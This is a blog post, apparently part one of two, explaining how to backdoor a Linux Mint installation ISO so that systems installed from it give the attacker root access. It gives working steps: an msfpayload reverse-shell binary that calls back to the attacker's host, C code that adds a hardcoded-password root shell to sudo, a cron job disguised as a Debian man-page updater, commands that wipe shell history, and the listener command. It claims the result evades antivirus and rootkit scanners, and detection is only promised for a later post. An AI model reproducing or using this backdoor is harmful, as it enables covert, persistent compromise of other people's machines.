Part 1: How I Owned Your OS Before You Installed It

Most of the blog posts I read these days describe very clever, highly technical and quick attack scenarios. New exploit methods that will get you access to a network within minutes. This is not one of those blog posts. Today I’ll make a start with describing a method that will grant you access to more and more systems over a period of months or maybe even years with minimal effort. How? Simple, we make sure we own the OS before its even installed.

In this first – of two – post I’ll be describing how you can modify an operating systems ISO in such a way that it’s calling back ever once in a while with a ‘root’ shell as a present. In the second post I’ll go into a little more detail on how you could deliver this ISO to your victim(s).

This attack is mainly created because I wanted to see if it was possible. Although replacing an ISO is very effective, systems don’t get (re)installed that often. Also, most Linux distributions roll out new versions quite regularly. An attacker would have to maintain ISOs and replace them quite often for this attack to remain effective. Still, I think it’s a thread worth talking about since ISOs are still burned onto disk or stored on company shares that seem to live forever.

Since this attack doesn’t require any exploit code and evades (at the moment of writing) rootkit detection (chkrootkit, rkhunter), anti-virus detection and won’t trigger any integrity checkers (more on this later) I think this attack can be quite nasty if not detected early on.

Lets get started.

This is what I’ll be focusing on today: 1. Getting the ISO we want to backdoor 2. Add a simple backdoor to the ‘sudo’ command 3. Building a reverse tcp backdoor using msfpayload from the Metasploit framework. 4. Rebuild the ISO with our backdoors. 5. Sit back, relax and wait for a (re)install

During this post I worked with the following ISO: “linuxmint-15-cinnamon-dvd-32bit”. Available at:

If you currently aren’t running Mint Linux I suggest you install a VM with the ISO you downloaded earlier on. Make sure you give the VM plenty of space (15 GB). Please do remember to only install the ISO and not perform any updates. Just to make sure we aren’t running into any library issues while compiling one of our backdoors.

Unpacking the ISO

For us to make any type of adjustments to the ISO file we need to unpack it. For Mint Linux the tool ‘mintconstructor’ is made available. You can get this tool from the Mint Linux repository. If ‘mintconstructor’ is not available in your installation just add the following line to your repository list:

deb-src olivia main upstream import  #id:linuxmint_main

Once you fired up ‘mintconstructor’ (as root) you’ll see a popup window. Select ‘new project’, set a directory you can work in and the ISO you want to unpack.

This will take a while so we’ll leave this for now and continue preparing our environment to build our backdoors.

MSF reverse TCP backdoor

The first backdoor is a backdoor generated using Metasploit. It will try to connect back to a system we own carrying a ‘root’ shell (in a default Mint Linux installation). Metasploit has a great command that lets us generate a binary of a certain payload called ‘msfpayload’.

./msfpayload linux/x86/shell_reverse_tcp2 LHOST=your-ip LPORT=443 X > man

This will generate a binary called ‘man’. I’ll explain a bit more about the name ‘man’ later on.

It is worth mentioning that the payload ‘shell_reverse_tcp2’ is very small and is (at the moment of writing this post) not detected by any of the 48 virus scanners on VirusTotal[7]. Also rkhunter and chkrootkit are not detecting this binary as malicious.

I’ll install this backdoor a little later on but for now lets prepare an other backdoor.

Simple backdoor in ‘sudo’

The second backdoor I want to add to my ISO is a backup for when my first ends up with lower privileges than expected. This is unlikely so the real reason is probably that I just wanted to backdoor ‘sudo’…..

The reason I chose ‘sudo’ is because the ‘sudo’ command already has the right owner and flags set to serve as a perfect candidate. I’ll explain this a bit better later on.

Debian developed an excellent packaging and distribution system that can help us with obtaining the source code for the ‘sudo’ command including all the patches it uses.

Mint Linux doesn’t add the source repositories by default to its repository lists. To obtain the source of (almost) any package in the Mint Linux distro add the following repositories to ‘/etc/apt/sources.list.d/official-package-repositories.list’ deb-src raring main restricted universe multiverse deb-src raring-updates main restricted universe multiverse deb-src raring-security main restricted universe multiverse deb-src raring partner

Before we get the ‘sudo’ source, modify it and rebuild it, we need to make sure we have all the dependencies installed.

sudo apt-get build-dep sudo

Next, get the ‘sudo’ source:

apt-get source sudo

I created a extremely simple backdoor for the ‘sudo’ command:

if (argc == 2) // Only check if we have 2 arguments (sudo )
    char *password = "123456"; // Our own password
    if(strcmp(argv[1], password) == 0) // Simple string compare
        setuid(0); // Elevate to uid 0 (root)
        system("/bin/bash"); // Launch a bash shell
                return 0; // Finish gracefully when finished

I’ve added this code at the start of the ‘main’ function in ‘sudo.c’. The comments in my code should give you a decent idea on what every line does.

The reason I chose ‘sudo’ is because the function call ‘setuid’ is only allowed when the ‘setuid’ flag on a file is set. When this flag is set, the program is allowed to run an “executable with the permissions of the executables owner or group respectively and to change behaviour in directories” [6]. ‘sudo’ is by default owned by root:root and the setuid flag is set. This means that nothing will look out of the ordinary since we don’t need to change anything. The ‘sudo’ command already has the privileges we need, and will appear the same as it always does. Win!

To compile the new code into a .deb file simply run the following command in the ‘sudo’ directory (not ‘src’ directory!).

dpkg-buildpackage -rfakeroot -uc -b

Excellent, we now have two backdoors. Lets install them into our OS.

Installing the backdoors

At the start of this post we unpacked our ISO using ‘mintconstructor’. If things went right you should be able to find your unpacked ISO in the directory you defined earlier on.

Copy the .deb file (sudo_1.8.6p3-0ubuntu3_i386.deb in my case) and the ‘man’ binary we created earlier into the tmp directory of your unpacked ISO.

‘mintconstructor’ should now show a big button saying: “Open a chroot terminal”. Click the big button to open your chroot terminal. This shell will give you full control over the unpacked ISO.

Next you should be able to install the .deb file:

dpkg -i sudo_1.8.6p3-0ubuntu3_i386.deb

That should all run fine. The ‘sudo’ backdoor is now installed. Lets continue with the ‘man’ callback binary.

Create a directory in /var/lib/ called ‘man’ (mkdir /var/lib/man) and move the ‘man’ binary into it. Next, create a crontab in one of your /etc/crontab.* directories. The only thing the crontab will do is run the binary every hour/day/month/whatever. If the connection fails it fails (this will happen). All we need to make sure of is that it runs, and is not leaving any logs. The crontab I wrote looks like this:

# Script to update all the man pages
# Written by {full-name-debian-dev} <{email-debian-dev}> for the Debian project.
cd "/var/lib/man/"
./man > /dev/null 2>&1

Once you’ve installed all these components it’s time to clean up the environment before repacking it.

aptitude purge ~c
aptitude unmarkauto ~M
apt-get clean; rm -rf /var/cache/debconf/*.dat-old; rm -rf /var/lib/aptitude/*.old; rm -rf /var/lib/dpkg/*-old; rm -rf /var/cache/apt/*.bin; updatedb
history -c
rm /root/.bash_history
rm /root/.nano_history
history –c

After running this exit your chroot terminal and follow the ‘mintconstructor’ instructions to repack the ISO.

Finally you need to run a server for the reverse tcp binary to be able to connect back to you:

./msfcli multi/handler payload=linux/x86/shell_reverse_tcp2 LHOST=your-ip LPORT=443 E

Use the ISO you just created to install a new system. This should call back within the timeframe you defined for the cronjob.


Finishing up

We now have an ISO file containing a backdoored Mint Linux distribution. No virus scanner is detecting the backdoors and no integrity checker will notice anything since our “know” database (a.k.a baseline) is a freshly installed system. I think this is quite nasty.

One of the major challenges here is delivering the ISO. Although I do think I might have a decent solution for this. More on this in part 2 (hopefully). I’ll also go into some detail on how I think you could detect this type of attack. For now, enough words.


Ruben (@rubenthijssen).

PS: Sorry for the typo’s

References: 1. 2. 3. 4. 5. 6. 7. ­­­­­